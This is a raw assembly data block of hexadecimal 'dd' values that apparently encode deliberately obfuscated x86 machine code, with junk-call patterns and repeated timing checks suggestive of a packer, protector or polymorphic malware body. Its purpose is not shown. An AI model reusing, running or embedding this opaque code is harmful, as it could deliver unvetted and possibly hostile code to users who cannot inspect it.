dd 83061F1Ah, 1F0A11BDh, 850F0006h, 0FBh, 40F38166h, 2585C6F6h
dd 47061F20h, 1E1D8D8Bh, 4E8061Fh, 0E2000000h, 668A0FB5h
dd 0E950D78Bh, 11h, 86F23323h, 6E6EC678h, 676FBE06h, 582490D3h
dd 24448B38h, 10E95004h, 52000000h, 18272DCCh, 54358E4Ah
dd 2E896999h, 5F6F9157h, 5250008Bh, 0D565BF66h, 0E860310Fh
dd 0Ch, 94FB9BE3h, 55AF742Eh, 60D22968h, 0EE4DB958h, 5A616389h
dd 24448958h, 0AEDEBA04h, 6A5820B7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1C2AC351h
dd 23A8BE29h, 0C195891Fh, 66061F07h, 0FF5A2FB9h, 1F3271B5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 754E03F5h, 4ED707FDh, 958B2C21h, 61F30D1h
dd 2E9DF281h, 858D6963h, 6227993h, 2A518D89h, 0D0FF061Fh
dd 8589FE8Bh, 61F0A11h, 83DBB70Fh, 1F06F9BDh, 850F0006h
dd 10Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 72C35747h, 0B59BC557h, 0C6040921h, 1F202585h, 85895606h
dd 61F1F25h, 4E8F8h, 6D390000h, 8B53D41Fh, 50505AD7h, 0DE852h
dd 9D850000h, 613DF831h, 36EBAFEAh, 0BA6570A6h, 3F229EFEh
dd 0BA310F5Fh, 3466126Ch, 448B585Ah, 8B0424h, 52505250h
dd 310F5951h, 310F585Ah, 585ACB8Bh, 4244489h, 0CE9h, 0B61F2000h
dd 9AC295F1h, 0F4AFBE1h, 6A5856h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0CF0EC2C3h, 0F1153110h
dd 525D933Ah, 0EE8h, 50AC2C00h, 6898037Fh, 0E40EE9D2h
dd 52033C10h, 0FF5B5B59h, 1F3271B5h, 1866BF06h, 858D35B2h
dd 6227993h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 3AC35141h, 1CF20108h, 0D0FF1D51h, 6F98589h, 9589061Fh
dd 61F1BEDh, 202585C6h, 0F6C061Fh, 68Dh, 18D8B00h, 68061F17h
dd 0AAB66EB6h, 481D98Bh, 4F01CD24h, 52006A30h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0FFCA8A29h
dd 1F20D9B5h, 69BD2306h, 8D061F31h, 1F394D85h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 7F58F1A3h, 13E95Bh, 46390000h, 6C1F562Eh, 2500D9F2h
dd 529341D0h, 0BE7C24E4h, 8BD0FF85h, 1F02419Dh, 6C858906h
dd 0B062324h, 1F00698Dh, 6A046A06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EC65C355h
dd 8E9h, 0A6D9C000h, 31F21421h, 4E847h, 10000000h, 0AE90000h
dd 82000000h, 2C1391B3h, 0D1F33B1Eh, 8B6650F4h, 24448BDAh
dd 86BB6604h, 51008B3Ch, 0FE960h, 0A0860000h, 1E986956h
dd 6A6F0B8Fh, 8063943Eh, 895F619Eh, 66042444h, 6A58D88Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0ED7FC355h, 0D99533F2h, 68061F05h, 0A1DEAD3h
dd 0D3243481h, 0E90A1CEAh, 5, 94390CE9h, 0C2816684h, 6A174Eh
dd 0FBE78166h, 0F195FF17h, 6A061F1Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0FDC3C355h
dd 76AC6A75h, 0A027B909h, 85891992h, 6232478h, 23C99D8Bh
dd 0BD8B061Fh, 61F0D55h, 7AB6006Ah, 0DC0C5968h, 66525097h
dd 0FFDBFBBh, 68E0F31h, 50000000h, 5A310F52h, 81585A58h
dd 0F3A72404h, 9D036824h, 61F23A9h, 50525090h, 0F5F5052h
dd 5AD58A31h, 0E9310F58h, 0Dh, 0A956E02Eh, 67F41DB1h, 4A5B7B5Eh
dd 50585AEFh, 5F526053h, 850Fh, 5F610000h, 57006A90h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 475D5329h, 2DF99529h, 0B6A061Fh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 25C35242h, 0C9817FDEh, 12E9h
dd 0DB99C600h, 0D1CD00F1h, 0FEDFD28Eh, 100B82FDh, 8DFFA27Dh
dd 23244585h, 0FE806h, 79C20000h, 0A6648E4Bh, 0C862D486h
dd 4E99F303h, 12E933h, 88A0000h, 0D935C571h, 28C85101h
dd 211BEF4Bh, 606DACF7h, 7E8505Bh, 36000000h, 0F7692F6Fh
dd 0EE8AABE4h, 2404895Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 26C35242h, 8AC176F4h, 95FFFA8Bh, 61F24B5h
dd 0E9852360h, 0BA061F1Ch, 5C309903h, 4FB58D61h, 6A062324h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0BA30C350h, 0FA7FCBAh, 6650D3BFh, 893905BAh
dd 9D8B2434h, 61F0DADh, 0BABF6650h, 24048970h, 19D8B53h
dd 59061F17h, 0A1195FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 43686FC3h, 12E928h, 0BF8C0000h
dd 55D39A04h, 0F3F16C74h, 0A59A0E27h, 7D94A094h, 6AD0FFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 452EC7C3h, 31E6C08Ah, 58D8B13h, 8B061F16h, 232478B5h
dd 41B58906h, 0C7061F13h, 23247085h, 6, 6E900h, 94760000h
dd 1838897Bh, 207E80h, 314840Fh, 9D010000h, 61F05B9h, 0C9858960h
dd 8D061F0Bh, 8E0F2046h, 4, 6F25BB66h, 24748589h, 0B70F0623h
dd 47E9C9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0F5B4E4C3h, 3A01806Ch, 6A40DA83h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0E81CC357h, 0D9CF8166h, 3880B4h, 0FFD4850Fh
dd 0B509FFFFh, 61F1391h, 0DE9h, 9D8D0100h, 0BB061F05h
dd 364FEA20h, 3880F948h, 42840F5Ch, 0E8000000h, 12h, 7954D520h
dd 9041CF25h, 81207C2h, 4B75E4E9h, 830F17DAh, 2, 805FD38Bh
dd 840F2F38h, 19h, 13918D89h, 8166061Fh, 3BF407E9h, 23247485h
dd 0B5830F06h, 0B5FFFFFFh, 6A40CEh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 6A0E37C3h
dd 89502D57h, 1F2F0DBDh, 0FE906h, 4E450000h, 0CCC2327h
dd 0C4FC91B2h, 7A5440CAh, 7CBD83FFh, 62324h, 81840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 204832C3h, 0ABDF6576h, 0AE959h, 336E0000h, 6FFCC26Fh
dd 806B0F15h, 89CF8B50h, 0B0602404h, 0F99D8B0Fh, 61061F20h
dd 247C8503h, 0BD8B0623h, 61F2735h, 8DBD2B57h, 5A061F23h
dd 290000C6h, 1F004D85h, 6A5806h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0C6BF3EC3h, 90AE858Bh
dd 90DA8B50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0D0C35545h, 5B5132FAh, 2468B5FFh, 0D1810623h, 494230F8h
dd 246C95FFh, 0BF0F0623h, 0FC00BF8h, 0B885h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 870FFD44h, 6, 2EA19D2Bh, 8D89061Fh, 61F318Dh, 51006A61h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 4F84989Fh, 35453BF8h, 9D8BD759h, 61F1701h, 4CCB8166h
dd 7085C7C4h, 1062324h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 2B16C357h
dd 28A0Fh, 0CA8B0000h, 99E9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 8B10699Eh
dd 0E4B966DFh, 6A6159h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 1717DCC3h, 1CC681F8h, 6A000001h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 1AB9C357h, 6A794347h, 0C8173718h, 0FFFD07E9h
dd 11E8FFh, 17B0000h, 0A9A09F63h, 35E70A6Bh, 7B9E0E03h
dd 60C4D39Bh, 2C45B589h, 0B58B061Fh, 61F0CF1h, 0E8685F61h
dd 571B80ADh, 2860Fh, 1FB70000h, 2434815Ah, 1B802DE8h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h
dd 9DB531F8h, 6A061F00h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 0E94F2B03h, 7, 0A208756Bh
dd 0FFB2211Ch, 232478B5h, 0F8DFB906h, 95FF212Fh, 61F06F9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6DC35646h
dd 835ABC38h, 0BD010BBAh, 61F2BFDh, 2470858Bh, 6A0623h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0D37FA0C3h, 4D6156E8h, 0E98AE8F7h, 9, 21E98FCCh, 57798675h
dd 519D0B32h, 50061F08h, 5E8h, 0EA702500h, 6E9AFA8h, 20000000h
dd 0E0CB8CE9h, 4895A4Dh, 9E86024h, 0B3000000h, 0C4A39163h
dd 0A1E90F03h, 1F8D8D8Bh, 615A061Fh, 2480858Dh, 0F88B0623h
dd 0CD98529h, 0B790061Fh, 0E950504Ah, 8, 9DEC2EFCh, 0E97F3612h
dd 0B509905Ah, 61F1DC1h, 243D858Dh, 9D230623h, 61F0701h
dd 0A523BA50h, 4894140h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0B01C437Ch, 5A5DCC62h
dd 16699D89h, 95FF061Fh, 61F0FADh, 909958Bh, 0C08B061Fh
dd 11F59D89h, 0BD83061Fh, 61F06C1h, 83097500h, 1F1F51BDh
dd 13740006h, 0C08B5350h, 4D0B8h, 0DF9D8D00h, 0FF0621ADh
dd 83585BD3h, 1F1F51BDh, 11740006h, 0D0B85350h, 8D000004h
dd 21ACDE9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 3F3D560Ch, 4F2CF271h
dd 0E18D8BB0h, 81061F18h, 0D7BD28E1h, 56006A4Ch, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0BA66635Eh, 9D29ED67h, 61F1D7Dh, 6660C08Bh, 5861C18Bh
dd 1FC18D8Bh, 8C2061Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 1F71C222h, 70556791h
dd 0B5898C3Ah, 61F1DA5h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 7AA528C3h, 746DD8C6h
dd 11E9h, 0C6E63F00h, 0C82F28BCh, 0ACA07C26h, 962B5C64h
dd 0BF60DFB9h, 470413CBh, 161DBD2Bh, 8D61061Fh, 2324B185h
dd 0D0D98106h, 0F15F671h, 8589CAB7h, 61F08D1h, 75E9h, 8C666000h
dd 0F04A8D8h, 3584h, 0FF016A00h, 1F20D9B5h, 93858D06h
dd 0FF062279h, 1D8589D0h, 8B061F08h, 0CEFC1FEh, 4000068h
dd 6A006A20h, 0D685702h, 0FF000100h, 1F081D95h, 32E906h
dd 85C60000h, 61F2025h, 30DF6856h, 0B5FFA9C5h, 61F3271h
dd 7993858Dh, 0D0FF0622h, 0EA98589h, 858D061Fh, 61F2CBDh
dd 6A206A50h, 95FF5605h, 61F0EA9h, 0E0C1C361h, 6A6006h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0F0854DC3h, 0B9C752BCh, 8BF917FEh, 0A18D03C0h, 83061F15h
dd 1F06C1BDh, 9750006h, 1F51BD83h, 7400061Fh, 8B535019h
dd 438B8C0h, 85890000h, 61F0F65h, 0AFA49D8Dh
dd 0D3FF0621h, 0BD83585Bh, 61F1F51h, 50177400h, 438B853h
dd 85890000h, 61F0F65h, 0AC939D8Dh, 0D3FF0621h, 6A585Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0F00D8BC3h, 0B589B1B4h, 61F1219h, 2CEDB509h, 0C08B061Fh
dd 21B58B60h, 66061F31h, 61ED15BFh, 843E8h, 598D8900h
dd 89061F31h, 1F2AB585h, 14E95106h, 4C000000h, 9D03F25Eh
dd 8DF5B72Fh, 77CE945Bh, 0CACFE8E2h, 5FB20379h, 817E8h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 91106F11h, 5E6EB632h, 8589513Ch, 61F3085h
dd 157D8589h, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 8B04DEC3h, 0B55C8E13h, 7BFE8h, 0B58D2B00h
dd 89061F0Fh, 1F1D1585h, 0EBB96606h, 7AAE8DEh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0BF95CCC3h, 81B0D197h, 10E89214h, 39000000h, 0D0E6F129h
dd 0E2DB1458h, 716CF4E4h, 5EE0B901h, 0E9E98166h, 9D8956E3h
dd 61F1701h, 4185895Eh, 6A061F0Fh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DD2DC353h
dd 0E8F28B82h, 738h, 31B52353h, 59061F31h, 30D5B58Bh, 8589061Fh
dd 61F3025h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 8C35040h, 0BE54AC30h, 409408D5h, 6FBE8h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 22C0662Fh, 89A93595h, 1F1EB185h, 0F2BF0F06h, 6CBE8h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 9269006Dh, 1C343659h, 0AC17B9F3h, 85895E85h
dd 61F1ECDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0DDC35747h, 293FA587h, 0FD426C8Fh, 71E8FE8Bh, 51000006h
dd 2E99BD89h, 895F061Fh, 1F0D2985h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 60F58060h
dd 0B70FA504h, 63AE8F9h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 9B46CCC3h, 54967C3Ch
dd 0A5BD8B60h, 0F061F02h, 585h, 0E1816600h, 8589E12Fh
dd 61F1545h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0DEC35747h, 0E8FF2EA1h, 5DCh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0CC35242h, 0A4DEC8B7h, 58841389h
dd 49858918h, 0E8061F07h, 5ACh, 5B13C681h, 858956FFh, 61F105Dh
dd 0C340E681h, 95E862B5h, 8B000005h, 918589FAh, 0F061F32h
dd 681h, 0B5958900h, 0E8061F05h, 57Ch, 758589FCh, 6A061F15h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 49BCC356h, 10218D89h, 4DE8061Fh, 89000005h
dd 1F010585h, 0B98D8B06h, 0E8061F31h, 53Ch, 581110B9h
dd 1858950h, 6A061F2Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0E4CEC352h, 395576D0h
dd 0BD958960h, 1061F1Eh, 1F31B9BDh, 70BF6106h, 0E878B46Ch
dd 4F8h, 658589F9h, 6A061F08h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0ED92C357h, 0D25209A7h
dd 85895F7Bh, 61F0739h, 0EF509DB9h, 6A00B03Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 31BFC355h, 0B60F806Ah, 5890FD8h, 0BE000000h, 652B05AAh
dd 68C0Fh, 0D7810000h, 5A73BBC3h, 6BAh, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0AF7771AAh, 64C873Eh, 0BF0F607Ch, 7E9D9h, 373B0000h
dd 450039E0h, 0C38B61ACh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 8C35242h, 1BC4FB6Bh, 0E904E8C1h, 5, 0E670D1D7h
dd 0E2F766A1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 58C35343h, 0D58D8BC5h, 2B061F20h, 57006AD8h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 5093FC1Ah, 0E8525051h, 9, 0F7D37CEh, 0C23C4143h, 310F597Bh
dd 0DE9h, 0A2D60A00h, 0D1DDE2EAh, 65A380BEh, 585A867Ah
dd 6A9359h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0FAAFD3C3h, 950D6E77h, 3049B589h, 95FF061Fh
dd 61F3175h, 0FC99D01h, 8D89061Fh, 61F20DDh, 52006A5Bh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 8D90123Fh, 1F07B195h, 0F5CD8006h, 1A89FB8Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 13C35141h, 0E5AA5C95h
dd 0D0CC078Ch, 0BF8B70Fh, 1F083DB5h, 958B6006h, 61F3159h
dd 3850Fh, 0BF0F0000h, 428961DEh, 69B58B04h, 8D061F26h
dd 1F306995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 34431400h, 0A98509CBh, 89061F1Eh
dd 52006A1Ah, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 0D2BF427Ah, 6651D6C0h, 89FA0ABFh, 0F88B0442h
dd 721958Dh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 2F19E4C3h, 0F083773h, 684h, 0A5BD8B00h
dd 8B061F0Eh, 1F1DD18Dh, 0F1A8906h, 4289FBBFh, 51006A04h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 277AECDDh, 870F2EAFh, 5, 0EAE98166h, 6870F2Bh, 8B000000h
dd 1F0ABD8Dh, 0D9958D06h, 6A061F2Ah, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5823C353h
dd 0BDF567F1h, 0BF0FC9EEh, 6A1A89F6h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 290CC357h
dd 6A044289h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0A235C350h, 49BD8907h, 8D061F0Ah
dd 1F1D8195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 219C496Eh, 5FB4A632h, 89F8B70Fh
dd 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0D05DB4Dh, 1788873Ah, 13E8C0D3h, 49000000h
dd 982B1E5Ch, 24BB1240h, 973D3EA5h, 0EFB3407Fh, 81666CB3h
dd 5E62B4D7h, 66044289h, 12E8F38Bh, 21000000h, 28676EF1h
dd 3B92E390h, 0D8B4C977h, 47475E9Bh, 0CDB58BA6h, 5E061F2Fh
dd 2BA9958Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 1A7F11C3h, 6A1A89CDh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0B096C353h, 442899Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 7CC35545h, 958DC668h, 61F2091h, 1A89CB8Bh
dd 8E9h, 9C19F300h, 70BDCFD1h, 4428952h
dd 119D958Dh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 227D90C3h, 81660630h, 8BA8CBDFh
dd 1F308DB5h, 6A1A8906h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 0B499C351h, 0BB186E68h
dd 1888726Ah, 1F09B58Bh, 4289061Fh, 53006A04h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0CCE906BDh
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0E93EC355h, 0E7FABF82h, 0E2B1B665h
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0FB749AC3h, 0E9006A5Fh, 10h, 0C4BF4CCEh
dd 0AF8C0D6Fh, 78BF10BDh, 43272ED9h, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 890AF2C3h
dd 1F0ED19Dh, 0C5B58B06h, 6A061F2Ah, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 161755CCh
dd 2BED2EBFh, 5D958901h, 0FF061F07h, 1F2B0D95h, 6DBD8B06h
dd 0BF061F0Dh, 439E24DCh, 3DBD8BC3h, 8A061F06h, 0D5B589C5h
dd 0F061F0Fh, 0C08BFFBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 2CC35242h, 88E52EA7h, 0BD836445h, 61F06C1h
dd 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h, 438B8h
dd 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h, 51BD8358h
dd 61F1Fh, 53501774h, 438B8h, 95858900h, 8D061F13h, 21ACAC9Dh
dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 9589F504h, 61F1EC9h, 12E8h, 6917C00h
dd 22C0662Fh, 16A93595h, 0C08F4D89h, 897BDF75h, 1F08E5BDh
dd 0C08B5E06h, 19BD858Dh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 9E14ADC3h, 29176EA1h
dd 8B507A17h, 1F1341BDh, 0E6B35006h, 8B240489h, 1F149D9Dh
dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0DBFAC356h, 0AE8D098h, 48000000h
dd 2418313Dh, 0AEB67220h, 0BE975h, 0ACEE0000h, 4952D6FAh
dd 0E59EB0C8h, 6A5F78h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0BBC35040h, 21556E8Fh, 0BA6E5AA9h, 8DD88BC8h
dd 23403185h, 91BD3106h, 83061F24h, 6A05C0h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 5E7218C3h
dd 0A4CCB18h, 0BF50FCB2h, 7E1EFC96h, 6A240489h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 63DCC353h, 0F85F9AC8h, 6ADBB0ABh, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0DFDC6683h
dd 58D8998h, 6A061F1Bh, 8DBD8B00h, 29061F1Fh, 1F302195h
dd 6195FF06h, 66061F01h, 846F781h, 0B1F28D8Dh, 9D8B0622h
dd 61F3129h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 147FCBC3h, 97F7C220h, 574033D9h
dd 1FCDBD8Bh, 835F061Fh, 1F0EF5BDh, 850F0106h, 21h, 2BE78166h
dd 31026AEDh, 1F2E999Dh, 0F98B5006h, 29240489h, 1F11F58Dh
dd 5595FF06h, 0B3061F2Fh, 0D74E975h, 0E80000h, 5D000000h
dd 403BED81h, 6E80623h, 87000000h, 5BCFDF69h, 0A935BB2Eh
dd 8B5F07F0h, 0DA8B66D8h, 8EE4858Dh, 0BD2B0622h, 61F0DC9h
dd 0DF8B6690h, 9070B750h, 14399D23h, 0FF64061Fh, 35h, 890F00h
dd 0E9000000h, 9, 0CF308ACh, 0C98B2A0Bh, 25896480h, 0
dd 0EE9h, 41C7EA00h, 0D20EEF58h, 0D527205Fh, 0FF406FC1h
dd 1F102985h, 0B1BD2B06h, 6A061F20h, 0D98D89FFh, 0FF061F12h
dd 1F2AB5B5h, 919D8B06h, 0FF061F07h, 1F1CED95h, 0EDE906h
dd 29510000h, 1F0B0DBDh, 0B05F06h, 68F0F50h, 31000000h
dd 1F2BCD95h, 70E65F06h, 7699D2Bh, 71E4061Fh, 0D9B58950h
dd 5F061F0Eh, 88DBD03h, 613C061Fh, 0B5830Fh, 0BF0F0000h
dd 3F33BFDAh, 0B60F6516h, 0D006BBC8h, 6BA1483h, 0F5000000h
dd 0BE9C18Bh, 41000000h, 310BE929h, 9AC1661Eh, 0E8C191AEh
dd 859D8904h, 66061F06h, 0BD8BE2F7h, 61F0DE5h, 9531C82Bh
dd 61F1F29h, 8166D18Bh, 0E98BB4EFh, 6, 0F9D9D89h, 858B061Fh
dd 61F07B1h, 0D7FDBF66h, 6607C083h, 810BE381h, 6600C083h
dd 0C1A5E381h, 830FD03Bh, 0Bh, 8A90F381h, 34E90380h, 8B000000h
dd 1F20098Dh, 71BD8906h, 83061F15h, 840F01E1h, 1Fh, 14319529h
dd 0A583061Fh, 61F2009h, 9589FCFEh, 61F07B1h, 2F4D9D8Bh
dd 0E9061Fh, 8D000000h, 22CA57B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F8A7A677h
dd 0B4326F23h, 49BD89CBh, 6A061F2Dh, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A6D9C003h
dd 31F21421h, 9D23E047h, 61F1EC9h, 145BF781h, 95FF1364h
dd 61F1D45h, 652B9FCh, 80600000h, 0B70FC4C2h, 0E18361D9h
dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0B196F32Ah, 13E8h, 18EAC000h, 0C76BE4B7h
dd 34C53638h, 3E4396E5h, 0A8573F33h, 0F1F9BB66h, 6890F5Fh
dd 89000000h, 1F23C5B5h, 0BF66FC06h, 7E967DFh, 72000000h
dd 19F78400h, 0B84988h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 891C356h
dd 815F79BEh, 0BAA9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0A87431C3h, 8B427F89h
dd 1F17119Dh, 0C233AD06h, 0D003E8D1h, 7504E983h, 699D29F4h
dd 0D061F2Ch, 88h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 47C35040h, 0AAC11651h, 25E51D28h, 30B59D8Bh
dd 958B061Fh, 61F0B5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0B6C35646h, 8BC14FC3h, 0FE9FEh, 0DBD0000h
dd 0A65B4762h, 5802E683h, 284B13F6h, 0C58D8BD4h, 6A061F20h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0FECEC353h, 0ED79CC5Eh, 0FF5CE3Ch, 8B50D8B7h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0FDE8B66h
dd 289h, 6AD88B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 9172C351h, 0BD83B23Ch, 61F078Dh
dd 92840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 11A4C356h, 4F9EBACCh
dd 0E9BBAAF2h, 13h, 6C9D6E07h, 5CB0D668h, 2D2C98B7h, 9ADDF587h
dd 0B81E0552h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 19C35343h
dd 0D7F5A187h, 8D8D6A6Ch, 61F4DB0h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 32C35040h, 0A30EAEC1h, 8CB3E1FFh
dd 42EB8166h, 7DBD83F7h, 61F13h, 40B840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0A4FB0BC3h, 3F46F8D4h, 606C45C0h, 1890Fh, 8BFC0000h
